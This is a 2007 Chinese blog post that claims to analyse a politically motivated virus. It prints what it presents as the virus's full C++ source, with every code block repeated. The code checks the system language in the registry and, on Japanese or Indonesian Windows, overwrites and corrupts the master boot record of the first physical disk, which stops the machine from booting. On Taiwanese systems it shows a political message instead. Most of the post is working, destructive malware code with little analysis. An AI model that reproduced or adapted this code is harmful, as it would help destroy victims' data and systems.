07-10
20
爱国病毒技术简单分析 (源代码篇)
作者:Java伴侣 日期:2007-10-20
爱国病毒,专攻日本操作系统病毒技术简单分析:
江民公司截获了该病毒,并发布新闻:病毒作者留言呼吁阿扁下台 仿CIH病毒破坏分区表
http://www.jiangmin.com/News/jiangmin/index/important/20071015135432.htm
说真的,我不是这个病毒的作者,但我朋友的朋友的网友认识该病毒的作者,通过本人调查走访,软磨硬泡,终于把技术内幕告诉我了。具体是这样的。
首先,病毒运行的时候,会判断用户的操作系统,具体代码如下:
由此可以看到,病毒会读取[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language]
来判断所感染的系统为什么语言,由代码可以看出来,这里涉及到5个国家、地区。
分别是:
中文:0804
印度尼西亚:0421
日本:0411
香港:0c04
台湾:0404
随后主要运行部分,代码如下:
这里可以很清楚的看到,该病毒仅仅感染日本和印尼语言的操作系统。
如果遇到简体中文,就跳过,如果遇到台湾语言,不感染,但弹出提示框:
如果遇见香港语言,病毒也会跳过,最后如果遇到日本和印尼语言的系统,病毒就会执行程序 KillDisk()
那么 KillDisk() 这个子程序具体是如何实现的呢?
代码如下:
其实主要就是通过破坏硬盘的MBR从而达到目的。
首先病毒先访问第一块物理硬盘,然后逐步写入数据,从代码可以分析出,被感染病毒的电脑,无任何中毒症状(机器变卡、蓝屏等),但下次重新启动的时候,计算机就挂了。
本人对C++的硬盘操作方面不是很了解,因此KillDisk()这段程序的详细分析就无能为力了,有能力的高手可以看看。
不过国内用户可以放心,该病毒是不会破坏简体中文版操作系统的。好在病毒作者并没有把病毒开源,不然只要懂点程序的人,稍加修改,病毒就可以破坏任何语言的操作系统,这样后果不堪设想。
经过编译后,文件仅仅2、3K,如经过网页挂马方式传播,是相当方便的。这样的病毒传播起来就太可怕了。
江民公司截获了该病毒,并发布新闻:病毒作者留言呼吁阿扁下台 仿CIH病毒破坏分区表
http://www.jiangmin.com/News/jiangmin/index/important/20071015135432.htm
说真的,我不是这个病毒的作者,但我朋友的朋友的网友认识该病毒的作者,通过本人调查走访,软磨硬泡,终于把技术内幕告诉我了。具体是这样的。
首先,病毒运行的时候,会判断用户的操作系统,具体代码如下:
复制内容到剪贴板 程序代码
int GetSystemLanguage()
{
Fpopedom();
char *ChineseVal="0804";
char *Indonesian="0421";
char *Japanese="0411";
char *HongKong="0c04";
char *TaiWan="0404";
HKEY hkey;
char LanguageVal[256]=" ";
DWORD cb;
DWORD dwRegType=REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language",0,KEY_ALL_ACCESS,&hkey);
RegQueryValueEx(hkey,"InstallLanguage",NULL,&dwRegType,(LPBYTE)LanguageVal,&cb);
RegCloseKey(hkey);
if(lstrcmp(ChineseVal,LanguageVal)==0)
return Chinese_Language;
if(lstrcmp(Indonesian,LanguageVal)==0)
return Indonesian_Language;
if(lstrcmp(Japanese,LanguageVal)==0)
return Japanese_Language;
if(lstrcmp(HongKong,LanguageVal)==0)
return HongKong_Language;
if(lstrcmp(TaiWan,LanguageVal)==0)
return TaiWan_Language;
else
return 0;
}
{
Fpopedom();
char *ChineseVal="0804";
char *Indonesian="0421";
char *Japanese="0411";
char *HongKong="0c04";
char *TaiWan="0404";
HKEY hkey;
char LanguageVal[256]=" ";
DWORD cb;
DWORD dwRegType=REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language",0,KEY_ALL_ACCESS,&hkey);
RegQueryValueEx(hkey,"InstallLanguage",NULL,&dwRegType,(LPBYTE)LanguageVal,&cb);
RegCloseKey(hkey);
if(lstrcmp(ChineseVal,LanguageVal)==0)
return Chinese_Language;
if(lstrcmp(Indonesian,LanguageVal)==0)
return Indonesian_Language;
if(lstrcmp(Japanese,LanguageVal)==0)
return Japanese_Language;
if(lstrcmp(HongKong,LanguageVal)==0)
return HongKong_Language;
if(lstrcmp(TaiWan,LanguageVal)==0)
return TaiWan_Language;
else
return 0;
}
由此可以看到,病毒会读取[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language]
来判断所感染的系统为什么语言,由代码可以看出来,这里涉及到5个国家、地区。
分别是:
中文:0804
印度尼西亚:0421
日本:0411
香港:0c04
台湾:0404
随后主要运行部分,代码如下:
复制内容到剪贴板 程序代码
void main()
{
int LanguageValue=GetSystemLanguage();
switch(LanguageValue)
{
case Chinese_Language:
ExitProcess(0);
break;
case TaiWan_Language:
MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
"阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
"我们是中国人! 死也是中国魂!!","中国人",0);
break;
case HongKong_Language:
ExitProcess(0);
break;
case Indonesian_Language:
KillDisk();
break;
case Japanese_Language:
KillDisk();
break;
default:
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
break;
}
}
{
int LanguageValue=GetSystemLanguage();
switch(LanguageValue)
{
case Chinese_Language:
ExitProcess(0);
break;
case TaiWan_Language:
MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
"阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
"我们是中国人! 死也是中国魂!!","中国人",0);
break;
case HongKong_Language:
ExitProcess(0);
break;
case Indonesian_Language:
KillDisk();
break;
case Japanese_Language:
KillDisk();
break;
default:
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
break;
}
}
这里可以很清楚的看到,该病毒仅仅感染日本和印尼语言的操作系统。
如果遇到简体中文,就跳过,如果遇到台湾语言,不感染,但弹出提示框:
复制内容到剪贴板 程序代码
MessageBox(NULL,"阿扁下台,我们是中国人 我们身体流着的是中华民族的血 . "
"阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
"我们是中国人! 死也是中国魂!!","中国人",0);
"阿扁同志 你那么喜欢台独 你要脸么? 啊 国外人都怎么笑我们中国人的..! 你想做历史的罪人?滚吧 你! "
"我们是中国人! 死也是中国魂!!","中国人",0);
如果遇见香港语言,病毒也会跳过,最后如果遇到日本和印尼语言的系统,病毒就会执行程序 KillDisk()
那么 KillDisk() 这个子程序具体是如何实现的呢?
代码如下:
复制内容到剪贴板 程序代码
void KillDisk()
{
HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
DISK_GEOMETRY Getmetry;
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);
LPTSTR szBuf;
szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);
if(szBuf==NULL)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
if(m_ret==FALSE || readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
BYTE MBR[512]={0};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);
MBR[0x1BE]=80;
MBR[0x1BF]=0;
MBR[0x1C2]=5;
for(int i=0x1C3;i<=0x1FE;i++)
{
MBR[i]=MBR[i]^26;
}
hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
if(m_ret==FALSE||readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);
}
{
HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
DISK_GEOMETRY Getmetry;
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);
LPTSTR szBuf;
szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);
if(szBuf==NULL)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
if(m_ret==FALSE || readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
BYTE MBR[512]={0};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);
MBR[0x1BE]=80;
MBR[0x1BF]=0;
MBR[0x1C2]=5;
for(int i=0x1C3;i<=0x1FE;i++)
{
MBR[i]=MBR[i]^26;
}
hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
if(m_ret==FALSE||readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);
}
其实主要就是通过破坏硬盘的MBR从而达到目的。
首先病毒先访问第一块物理硬盘,然后逐步写入数据,从代码可以分析出,被感染病毒的电脑,无任何中毒症状(机器变卡、蓝屏等),但下次重新启动的时候,计算机就挂了。
本人对C++的硬盘操作方面不是很了解,因此KillDisk()这段程序的详细分析就无能为力了,有能力的高手可以看看。
不过国内用户可以放心,该病毒是不会破坏简体中文版操作系统的。好在病毒作者并没有把病毒开源,不然只要懂点程序的人,稍加修改,病毒就可以破坏任何语言的操作系统,这样后果不堪设想。
经过编译后,文件仅仅2、3K,如经过网页挂马方式传播,是相当方便的。这样的病毒传播起来就太可怕了。
评论: 1 | 引用: 0 | 查看次数: 1261
回复x4h[2007-12-27 12:28 AM | ]
代码我只给过一个人。。。。。。。你怎么会有? 作者燕过留声
发表评论